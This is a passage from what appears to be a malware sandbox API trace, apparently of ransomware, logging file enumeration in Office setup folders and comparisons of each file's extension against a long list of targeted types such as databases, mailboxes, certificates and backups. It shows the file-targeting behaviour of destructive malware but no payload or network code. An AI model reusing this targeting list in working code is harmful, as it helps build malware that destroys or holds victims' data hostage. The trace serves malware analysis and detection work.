lstrlenW (lpString=".md") returned 3 [0074.749] lstrcmpiW (lpString1=".md", lpString2="XML") returned -1 [0074.749] lstrlenW (lpString=".mda") returned 4 [0074.749] lstrcmpiW (lpString1=".mda", lpString2=".XML") returned -1 [0074.749] lstrlenW (lpString=".mdb") returned 4 [0074.749] lstrcmpiW (lpString1=".mdb", lpString2=".XML") returned -1 [0074.749] lstrlenW (lpString=".mde") returned 4 [0074.749] lstrcmpiW (lpString1=".mde", lpString2=".XML") returned -1 [0074.749] lstrlenW (lpString=".mdf") returned 4 [0074.749] lstrcmpiW (lpString1=".mdf", lpString2=".XML") returned -1 [0074.749] lstrlenW (lpString=".mdw") returned 4 [0074.749] lstrcmpiW (lpString1=".mdw", lpString2=".XML") returned -1 [0074.750] lstrlenW (lpString=".mef") returned 4 [0074.750] lstrcmpiW (lpString1=".mef", lpString2=".XML") returned -1 [0074.750] lstrlenW (lpString=".mft") returned 4 [0074.750] lstrcmpiW (lpString1=".mft", lpString2=".XML") returned -1 [0074.750] lstrlenW (lpString=".mfw") returned 4 [0074.750] lstrcmpiW (lpString1=".mfw", lpString2=".XML") returned -1 [0074.750] lstrlenW (lpString=".mht") returned 4 [0074.750] lstrcmpiW (lpString1=".mht", lpString2=".XML") returned -1 [0074.750] lstrlenW (lpString=".mhtml") returned 6 [0074.750] lstrcmpiW (lpString1=".mhtml", lpString2="UI.XML") returned -1 [0074.750] lstrlenW (lpString=".mka") returned 4 [0074.750] lstrcmpiW (lpString1=".mka", lpString2=".XML") returned -1 [0074.750] lstrlenW (lpString=".mkidx") returned 6 [0074.750] lstrcmpiW (lpString1=".mkidx", lpString2="UI.XML") returned -1 [0074.750] lstrlenW (lpString=".mkv") returned 4 [0074.750] lstrcmpiW (lpString1=".mkv", lpString2=".XML") returned -1 [0074.750] lstrlenW (lpString=".mos") returned 4 [0074.750] lstrcmpiW (lpString1=".mos", lpString2=".XML") returned -1 [0074.750] lstrlenW (lpString=".mov") returned 4 [0074.750] lstrcmpiW (lpString1=".mov", lpString2=".XML") returned -1 [0074.750] lstrlenW (lpString=".mp3") returned 4 [0074.750] lstrcmpiW (lpString1=".mp3", lpString2=".XML") returned -1 [0074.750] lstrlenW (lpString=".mp4") returned 4 [0074.750] lstrcmpiW (lpString1=".mp4", lpString2=".XML") returned -1 [0074.750] lstrlenW (lpString=".mpeg") returned 5 [0074.750] lstrcmpiW (lpString1=".mpeg", lpString2="I.XML") returned -1 [0074.751] lstrlenW (lpString=".mpg") returned 4 [0074.751] lstrcmpiW (lpString1=".mpg", lpString2=".XML") returned -1 [0074.751] lstrlenW (lpString=".mpv") returned 4 [0074.751] lstrcmpiW (lpString1=".mpv", lpString2=".XML") returned -1 [0074.751] lstrlenW (lpString=".mrw") returned 4 [0074.751] lstrcmpiW (lpString1=".mrw", lpString2=".XML") returned -1 [0074.751] lstrlenW (lpString=".msg") returned 4 [0074.751] lstrcmpiW (lpString1=".msg", lpString2=".XML") returned -1 [0074.751] lstrlenW (lpString=".mxl") returned 4 [0074.751] lstrcmpiW (lpString1=".mxl", lpString2=".XML") returned -1 [0074.751] lstrlenW (lpString=".myd") returned 4 [0074.751] lstrcmpiW (lpString1=".myd", lpString2=".XML") returned -1 [0074.751] lstrlenW (lpString=".myi") returned 4 [0074.751] lstrcmpiW (lpString1=".myi", lpString2=".XML") returned -1 [0074.751] lstrlenW (lpString=".nef") returned 4 [0074.751] lstrcmpiW (lpString1=".nef", lpString2=".XML") returned -1 [0074.751] lstrlenW (lpString=".nrw") returned 4 [0074.751] lstrcmpiW (lpString1=".nrw", lpString2=".XML") returned -1 [0074.751] lstrlenW (lpString=".obj") returned 4 [0074.751] lstrcmpiW (lpString1=".obj", lpString2=".XML") returned -1 [0074.751] lstrlenW (lpString=".odb") returned 4 [0074.751] lstrcmpiW (lpString1=".odb", lpString2=".XML") returned -1 [0074.751] lstrlenW (lpString=".odc") returned 4 [0074.751] lstrcmpiW (lpString1=".odc", lpString2=".XML") returned -1 [0074.751] lstrlenW (lpString=".odm") returned 4 [0074.751] lstrcmpiW (lpString1=".odm", lpString2=".XML") returned -1 [0074.751] lstrlenW (lpString=".odp") returned 4 [0074.751] lstrcmpiW (lpString1=".odp", lpString2=".XML") returned -1 [0074.752] lstrlenW (lpString=".ods") returned 4 [0074.752] lstrcmpiW (lpString1=".ods", lpString2=".XML") returned -1 [0074.752] lstrlenW (lpString=".oft") returned 4 [0074.752] lstrcmpiW (lpString1=".oft", lpString2=".XML") returned -1 [0074.752] lstrlenW (lpString=".one") returned 4 [0074.752] lstrcmpiW (lpString1=".one", lpString2=".XML") returned -1 [0074.752] lstrlenW (lpString=".onepkg") returned 7 [0074.752] lstrcmpiW (lpString1=".onepkg", lpString2="MUI.XML") returned -1 [0074.752] lstrlenW (lpString=".onetoc2") returned 8 [0074.752] lstrcmpiW (lpString1=".onetoc2", lpString2="lMUI.XML") returned -1 [0074.752] lstrlenW (lpString=".opt") returned 4 [0074.752] lstrcmpiW (lpString1=".opt", lpString2=".XML") returned -1 [0074.752] lstrlenW (lpString=".oqy") returned 4 [0074.752] lstrcmpiW (lpString1=".oqy", lpString2=".XML") returned -1 [0074.752] lstrlenW (lpString=".orf") returned 4 [0074.752] lstrcmpiW (lpString1=".orf", lpString2=".XML") returned -1 [0074.752] lstrlenW (lpString=".p12") returned 4 [0074.752] lstrcmpiW (lpString1=".p12", lpString2=".XML") returned -1 [0074.752] lstrlenW (lpString=".p7b") returned 4 [0074.752] lstrcmpiW (lpString1=".p7b", lpString2=".XML") returned -1 [0074.752] lstrlenW (lpString=".p7c") returned 4 [0074.752] lstrcmpiW (lpString1=".p7c", lpString2=".XML") returned -1 [0074.752] lstrlenW (lpString=".pam") returned 4 [0074.752] lstrcmpiW (lpString1=".pam", lpString2=".XML") returned -1 [0074.753] lstrlenW (lpString=".pbm") returned 4 [0074.753] lstrcmpiW (lpString1=".pbm", lpString2=".XML") returned -1 [0074.753] lstrlenW (lpString=".pct") returned 4 [0074.753] lstrcmpiW (lpString1=".pct", lpString2=".XML") returned -1 [0074.753] lstrlenW (lpString=".pcx") returned 4 [0074.753] lstrcmpiW (lpString1=".pcx", lpString2=".XML") returned -1 [0074.753] lstrlenW (lpString=".pdd") returned 4 [0074.753] lstrcmpiW (lpString1=".pdd", lpString2=".XML") returned -1 [0074.753] lstrlenW (lpString=".pdf") returned 4 [0074.753] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0074.753] lstrlenW (lpString=".pdp") returned 4 [0074.753] lstrcmpiW (lpString1=".pdp", lpString2=".XML") returned -1 [0074.753] lstrlenW (lpString=".pef") returned 4 [0074.753] lstrcmpiW (lpString1=".pef", lpString2=".XML") returned -1 [0074.753] lstrlenW (lpString=".pem") returned 4 [0074.753] lstrcmpiW (lpString1=".pem", lpString2=".XML") returned -1 [0074.753] lstrlenW (lpString=".pff") returned 4 [0074.753] lstrcmpiW (lpString1=".pff", lpString2=".XML") returned -1 [0074.753] lstrlenW (lpString=".pfm") returned 4 [0074.753] lstrcmpiW (lpString1=".pfm", lpString2=".XML") returned -1 [0074.753] lstrlenW (lpString=".pfx") returned 4 [0074.753] lstrcmpiW (lpString1=".pfx", lpString2=".XML") returned -1 [0074.754] lstrlenW (lpString=".pgm") returned 4 [0074.754] lstrcmpiW (lpString1=".pgm", lpString2=".XML") returned -1 [0074.754] lstrlenW (lpString=".php") returned 4 [0074.754] lstrcmpiW (lpString1=".php", lpString2=".XML") returned -1 [0074.754] lstrlenW (lpString=".php3") returned 5 [0074.754] lstrcmpiW (lpString1=".php3", lpString2="I.XML") returned -1 [0074.754] lstrlenW (lpString=".php4") returned 5 [0074.754] lstrcmpiW (lpString1=".php4", lpString2="I.XML") returned -1 [0074.754] lstrlenW (lpString=".php5") returned 5 [0074.754] lstrcmpiW (lpString1=".php5", lpString2="I.XML") returned -1 [0074.754] lstrlenW (lpString=".phtml") returned 6 [0074.754] lstrcmpiW (lpString1=".phtml", lpString2="UI.XML") returned -1 [0074.754] lstrlenW (lpString=".pict") returned 5 [0074.754] lstrcmpiW (lpString1=".pict", lpString2="I.XML") returned -1 [0074.754] lstrlenW (lpString=".pl") returned 3 [0074.754] lstrcmpiW (lpString1=".pl", lpString2="XML") returned -1 [0074.754] lstrlenW (lpString=".pls") returned 4 [0074.754] lstrcmpiW (lpString1=".pls", lpString2=".XML") returned -1 [0074.754] lstrlenW (lpString=".pm") returned 3 [0074.754] lstrcmpiW (lpString1=".pm", lpString2="XML") returned -1 [0074.754] lstrlenW (lpString=".png") returned 4 [0074.755] lstrcmpiW (lpString1=".png", lpString2=".XML") returned -1 [0074.755] lstrlenW (lpString=".pnm") returned 4 [0074.755] lstrcmpiW (lpString1=".pnm", lpString2=".XML") returned -1 [0074.755] lstrlenW (lpString=".pot") returned 4 [0074.755] lstrcmpiW (lpString1=".pot", lpString2=".XML") returned -1 [0074.755] lstrlenW (lpString=".potm") returned 5 [0074.755] lstrcmpiW (lpString1=".potm", lpString2="I.XML") returned -1 [0074.755] lstrlenW (lpString=".potx") returned 5 [0074.755] lstrcmpiW (lpString1=".potx", lpString2="I.XML") returned -1 [0074.755] lstrlenW (lpString=".ppa") returned 4 [0074.755] lstrcmpiW (lpString1=".ppa", lpString2=".XML") returned -1 [0074.755] lstrlenW (lpString=".ppam") returned 5 [0074.755] lstrcmpiW (lpString1=".ppam", lpString2="I.XML") returned -1 [0074.755] lstrlenW (lpString=".ppm") returned 4 [0074.755] lstrcmpiW (lpString1=".ppm", lpString2=".XML") returned -1 [0074.755] lstrlenW (lpString=".pps") returned 4 [0074.755] lstrcmpiW (lpString1=".pps", lpString2=".XML") returned -1 [0074.755] lstrlenW (lpString=".ppsm") returned 5 [0074.755] lstrcmpiW (lpString1=".ppsm", lpString2="I.XML") returned -1 [0074.755] lstrlenW (lpString=".ppt") returned 4 [0074.756] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0074.756] lstrlenW (lpString=".pptm") returned 5 [0074.756] lstrcmpiW (lpString1=".pptm", lpString2="I.XML") returned -1 [0074.756] lstrlenW (lpString=".pptx") returned 5 [0074.756] lstrcmpiW (lpString1=".pptx", lpString2="I.XML") returned -1 [0074.756] lstrlenW (lpString=".prn") returned 4 [0074.756] lstrcmpiW (lpString1=".prn", lpString2=".XML") returned -1 [0074.756] lstrlenW (lpString=".ps") returned 3 [0074.756] lstrcmpiW (lpString1=".ps", lpString2="XML") returned -1 [0074.756] lstrlenW (lpString=".psb") returned 4 [0074.756] lstrcmpiW (lpString1=".psb", lpString2=".XML") returned -1 [0074.756] lstrlenW (lpString=".psd") returned 4 [0074.756] lstrcmpiW (lpString1=".psd", lpString2=".XML") returned -1 [0074.756] lstrlenW (lpString=".pst") returned 4 [0074.756] lstrcmpiW (lpString1=".pst", lpString2=".XML") returned -1 [0074.756] lstrlenW (lpString=".ptx") returned 4 [0074.756] lstrcmpiW (lpString1=".ptx", lpString2=".XML") returned -1 [0074.756] lstrlenW (lpString=".pub") returned 4 [0074.756] lstrcmpiW (lpString1=".pub", lpString2=".XML") returned -1 [0074.756] lstrlenW (lpString=".pwm") returned 4 [0074.756] lstrcmpiW (lpString1=".pwm", lpString2=".XML") returned -1 [0074.756] lstrlenW (lpString=".pxr") returned 4 [0074.756] lstrcmpiW (lpString1=".pxr", lpString2=".XML") returned -1 [0074.756] lstrlenW (lpString=".py") returned 3 [0074.756] lstrcmpiW (lpString1=".py", lpString2="XML") returned -1 [0074.756] lstrlenW (lpString=".qt") returned 3 [0074.756] lstrcmpiW (lpString1=".qt", lpString2="XML") returned -1 [0074.757] lstrlenW (lpString=".r3d") returned 4 [0074.757] lstrcmpiW (lpString1=".r3d", lpString2=".XML") returned -1 [0074.758] FindClose (in: hFindFile=0x3ee3220 | out: hFindFile=0x3ee3220) returned 1 [0074.758] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3f54000 | out: hHeap=0x5d0000) returned 1 [0074.758] FindNextFileW (in: hFindFile=0x3ee31e0, lpFindFileData=0x352f094 | out: lpFindFileData=0x352f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd658ff0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd67f150, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Groove.en-us", cAlternateFileName="GROOVE~1.EN-")) returned 1 [0074.759] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xfffe) returned 0x3f54000 [0074.759] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\*", lpFindFileData=0x352ee18 | out: lpFindFileData=0x352ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd658ff0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd67f150, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ee3220 [0074.759] FindNextFileW (in: hFindFile=0x3ee3220, lpFindFileData=0x352ee18 | out: lpFindFileData=0x352ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd658ff0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd67f150, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.759] FindNextFileW (in: hFindFile=0x3ee3220, lpFindFileData=0x352ee18 | out: lpFindFileData=0x352ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd658ff0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x391, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveMUI.XML", cAlternateFileName="GROOVE~1.XML")) returned 1 [0074.759] FindClose (in: hFindFile=0x3ee3220 | out: hFindFile=0x3ee3220) returned 1 [0074.759] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3f54000 | out: hHeap=0x5d0000) returned 1 [0074.759] FindNextFileW (in: hFindFile=0x3ee31e0, lpFindFileData=0x352f094 | out: lpFindFileData=0x352f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x112a3b30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x112a3b30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfoPath.en-us", cAlternateFileName="INFOPA~1.EN-")) returned 1 [0074.760] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xfffe) returned 0x3f54000 [0074.760] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\*", lpFindFileData=0x352ee18 | out: lpFindFileData=0x352ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x112a3b30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x112a3b30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ee3220 [0074.760] FindNextFileW (in: hFindFile=0x3ee3220, lpFindFileData=0x352ee18 | out: lpFindFileData=0x352ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x112a3b30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x112a3b30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.760] FindNextFileW (in: hFindFile=0x3ee3220, lpFindFileData=0x352ee18 | out: lpFindFileData=0x352ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6e345a0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf6e345a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x4cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfoPathMUI.XML", cAlternateFileName="INFOPA~1.XML")) returned 1 [0074.760] FindClose (in: hFindFile=0x3ee3220 | out: hFindFile=0x3ee3220) returned 1 [0074.760] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3f54000 | out: hHeap=0x5d0000) returned 1 [0074.760] FindNextFileW (in: hFindFile=0x3ee31e0, lpFindFileData=0x352f094 | out: lpFindFileData=0x352f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe164800, ftCreationTime.dwHighDateTime=0x1cac048, ftLastAccessTime.dwLowDateTime=0x6b277670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe164800, ftLastWriteTime.dwHighDateTime=0x1cac048, nFileSizeHigh=0x0, nFileSizeLow=0x8b7b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ODeploy.exe", cAlternateFileName="")) returned 1 [0074.761] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x39500c0, Size=0x10000) returned 0x3f54000 [0074.761] FindNextFileW (in: hFindFile=0x3ee31e0, lpFindFileData=0x352f094 | out: lpFindFileData=0x352f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc2600b20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc2600b20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office.en-us", cAlternateFileName="OFFICE~1.EN-")) returned 1 [0074.761] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us") returned 92 [0074.761] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us") returned 1 [0074.761] lstrlenW (lpString="Office.en-us") returned 12 [0074.761] lstrcmpiW (lpString1="C:\\Windows", lpString2="Office.en-us") returned -1 [0074.761] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xfffe) returned 0x3f64008 [0074.762] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us") returned 92 [0074.762] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\*", lpFindFileData=0x352ee18 | out: lpFindFileData=0x352ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc2600b20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc2600b20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x352ef78, cFileName=".", cAlternateFileName="")) returned 0x3ee3220 [0074.764] FindNextFileW (in: hFindFile=0x3ee3220, lpFindFileData=0x352ee18 | out: lpFindFileData=0x352ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc2600b20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc2600b20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x352ef78, cFileName="..", cAlternateFileName="")) returned 1 [0074.764] FindNextFileW (in: hFindFile=0x3ee3220, lpFindFileData=0x352ee18 | out: lpFindFileData=0x352ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e9fff00, ftCreationTime.dwHighDateTime=0x1cba028, ftLastAccessTime.dwLowDateTime=0xc2600b20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3e9fff00, ftLastWriteTime.dwHighDateTime=0x1cba028, nFileSizeHigh=0x0, nFileSizeLow=0x3b78, dwReserved0=0x0, dwReserved1=0x352ef78, cFileName="BRANDING.DLL", cAlternateFileName="")) returned 1 [0074.764] lstrlenW (lpString="BRANDING.DLL") returned 12 [0074.764] lstrlenW (lpString=".1cd") returned 4 [0074.764] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0074.764] lstrlenW (lpString=".3ds") returned 4 [0074.764] lstrcmpiW (lpString1=".3ds", lpString2=".DLL") returned -1 [0074.764] lstrlenW (lpString=".3fr") returned 4 [0074.764] lstrcmpiW (lpString1=".3fr", lpString2=".DLL") returned -1 [0074.765] lstrlenW (lpString=".3g2") returned 4 [0074.765] lstrcmpiW (lpString1=".3g2", lpString2=".DLL") returned -1 [0074.765] lstrlenW (lpString=".3gp") returned 4 [0074.765] lstrcmpiW (lpString1=".3gp", lpString2=".DLL") returned -1 [0074.765] lstrlenW (lpString=".7z") returned 3 [0074.765] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0074.765] lstrlenW (lpString=".accda") returned 6 [0074.765] lstrcmpiW (lpString1=".accda", lpString2="NG.DLL") returned -1 [0074.765] lstrlenW (lpString=".accdb") returned 6 [0074.765] lstrcmpiW (lpString1=".accdb", lpString2="NG.DLL") returned -1 [0074.765] lstrlenW (lpString=".accdc") returned 6 [0074.765] lstrcmpiW (lpString1=".accdc", lpString2="NG.DLL") returned -1 [0074.765] lstrlenW (lpString=".accde") returned 6 [0074.765] lstrcmpiW (lpString1=".accde", lpString2="NG.DLL") returned -1 [0074.765] lstrlenW (lpString=".accdt") returned 6 [0074.765] lstrcmpiW (lpString1=".accdt", lpString2="NG.DLL") returned -1 [0074.765] lstrlenW (lpString=".accdw") returned 6 [0074.765] lstrcmpiW (lpString1=".accdw", lpString2="NG.DLL") returned -1 [0074.765] lstrlenW (lpString=".adb") returned 4 [0074.765] lstrcmpiW (lpString1=".adb", lpString2=".DLL") returned -1 [0074.765] lstrlenW (lpString=".adp") returned 4 [0074.766] lstrcmpiW (lpString1=".adp", lpString2=".DLL") returned -1 [0074.766] lstrlenW (lpString=".ai") returned 3 [0074.766] lstrcmpiW (lpString1=".ai", lpString2="DLL") returned -1 [0074.766] lstrlenW (lpString=".ai3") returned 4 [0074.766] lstrcmpiW (lpString1=".ai3", lpString2=".DLL") returned -1 [0074.766] lstrlenW (lpString=".ai4") returned 4 [0074.766] lstrcmpiW (lpString1=".ai4", lpString2=".DLL") returned -1 [0074.766] lstrlenW (lpString=".ai5") returned 4 [0074.766] lstrcmpiW (lpString1=".ai5", lpString2=".DLL") returned -1 [0074.766] lstrlenW (lpString=".ai6") returned 4 [0074.766] lstrcmpiW (lpString1=".ai6", lpString2=".DLL") returned -1 [0074.766] lstrlenW (lpString=".ai7") returned 4 [0074.766] lstrcmpiW (lpString1=".ai7", lpString2=".DLL") returned -1 [0074.766] lstrlenW (lpString=".ai8") returned 4 [0074.766] lstrcmpiW (lpString1=".ai8", lpString2=".DLL") returned -1 [0074.766] lstrlenW (lpString=".anim") returned 5 [0074.766] lstrcmpiW (lpString1=".anim", lpString2="G.DLL") returned -1 [0074.766] lstrlenW (lpString=".arw") returned 4 [0074.766] lstrcmpiW (lpString1=".arw", lpString2=".DLL") returned -1 [0074.766] lstrlenW (lpString=".as") returned 3 [0074.766] lstrcmpiW (lpString1=".as", lpString2="DLL") returned -1 [0074.766] lstrlenW (lpString=".asa") returned 4 [0074.767] lstrcmpiW (lpString1=".asa", lpString2=".DLL") returned -1 [0074.767] lstrlenW (lpString=".asc") returned 4 [0074.767] lstrcmpiW (lpString1=".asc", lpString2=".DLL") returned -1 [0074.767] lstrlenW (lpString=".ascx") returned 5 [0074.767] lstrcmpiW (lpString1=".ascx", lpString2="G.DLL") returned -1 [0074.767] lstrlenW (lpString=".asm") returned 4 [0074.767] lstrcmpiW (lpString1=".asm", lpString2=".DLL") returned -1 [0074.767] lstrlenW (lpString=".asmx") returned 5 [0074.767] lstrcmpiW (lpString1=".asmx", lpString2="G.DLL") returned -1 [0074.767] lstrlenW (lpString=".asp") returned 4 [0074.767] lstrcmpiW (lpString1=".asp", lpString2=".DLL") returned -1 [0074.767] lstrlenW (lpString=".aspx") returned 5 [0074.767] lstrcmpiW (lpString1=".aspx", lpString2="G.DLL") returned -1 [0074.767] lstrlenW (lpString=".asr") returned 4 [0074.767] lstrcmpiW (lpString1=".asr", lpString2=".DLL") returned -1 [0074.767] lstrlenW (lpString=".asx") returned 4 [0074.767] lstrcmpiW (lpString1=".asx", lpString2=".DLL") returned -1 [0074.767] lstrlenW (lpString=".avi") returned 4 [0074.767] lstrcmpiW (lpString1=".avi", lpString2=".DLL") returned -1 [0074.767] lstrlenW (lpString=".avs") returned 4 [0074.768] lstrcmpiW (lpString1=".avs", lpString2=".DLL") returned -1 [0074.768] lstrlenW (lpString=".backup") returned 7 [0074.768] lstrcmpiW (lpString1=".backup", lpString2="ING.DLL") returned -1 [0074.768] lstrlenW (lpString=".bak") returned 4 [0074.768] lstrcmpiW (lpString1=".bak", lpString2=".DLL") returned -1 [0074.768] lstrlenW (lpString=".bay") returned 4 [0074.768] lstrcmpiW (lpString1=".bay", lpString2=".DLL") returned -1 [0074.768] lstrlenW (lpString=".bd") returned 3 [0074.768] lstrcmpiW (lpString1=".bd", lpString2="DLL") returned -1 [0074.768] lstrlenW (lpString=".bin") returned 4 [0074.768] lstrcmpiW (lpString1=".bin", lpString2=".DLL") returned -1 [0074.768] lstrlenW (lpString=".bmp") returned 4 [0074.768] lstrcmpiW (lpString1=".bmp", lpString2=".DLL") returned -1 [0074.768] lstrlenW (lpString=".bz2") returned 4 [0074.768] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0074.768] lstrlenW (lpString=".c") returned 2 [0074.768] lstrcmpiW (lpString1=".c", lpString2="LL") returned -1 [0074.768] lstrlenW (lpString=".cdr") returned 4 [0074.768] lstrcmpiW (lpString1=".cdr", lpString2=".DLL") returned -1 [0074.768] lstrlenW (lpString=".cer") returned 4 [0074.768] lstrcmpiW (lpString1=".cer", lpString2=".DLL") returned -1 [0074.768] lstrlenW (lpString=".cf") returned 3 [0074.768] lstrcmpiW (lpString1=".cf", lpString2="DLL") returned -1 [0074.769] lstrlenW (lpString=".cfc") returned 4 [0074.769] lstrcmpiW (lpString1=".cfc", lpString2=".DLL") returned -1 [0074.769] lstrlenW (lpString=".cfm") returned 4 [0074.769] lstrcmpiW (lpString1=".cfm", lpString2=".DLL") returned -1 [0074.769] lstrlenW (lpString=".cfml") returned 5 [0074.769] lstrcmpiW (lpString1=".cfml", lpString2="G.DLL") returned -1 [0074.769] lstrlenW (lpString=".cfu") returned 4 [0074.769] lstrcmpiW (lpString1=".cfu", lpString2=".DLL") returned -1 [0074.769] lstrlenW (lpString=".chm") returned 4 [0074.769] lstrcmpiW (lpString1=".chm", lpString2=".DLL") returned -1 [0074.769] lstrlenW (lpString=".cin") returned 4 [0074.769] lstrcmpiW (lpString1=".cin", lpString2=".DLL") returned -1 [0074.769] lstrlenW (lpString=".class") returned 6 [0074.769] lstrcmpiW (lpString1=".class", lpString2="NG.DLL") returned -1 [0074.769] lstrlenW (lpString=".clx") returned 4 [0074.769] lstrcmpiW (lpString1=".clx", lpString2=".DLL") returned -1 [0074.769] lstrlenW (lpString=".config") returned 7 [0074.769] lstrcmpiW (lpString1=".config", lpString2="ING.DLL") returned -1 [0074.769] lstrlenW (lpString=".cpp") returned 4 [0074.769] lstrcmpiW (lpString1=".cpp", lpString2=".DLL") returned -1 [0074.769] lstrlenW (lpString=".cr2") returned 4 [0074.769] lstrcmpiW (lpString1=".cr2", lpString2=".DLL") returned -1 [0074.769] lstrlenW (lpString=".crt") returned 4 [0074.769] lstrcmpiW (lpString1=".crt", lpString2=".DLL") returned -1 [0074.770] lstrlenW (lpString=".crw") returned 4 [0074.770] lstrcmpiW (lpString1=".crw", 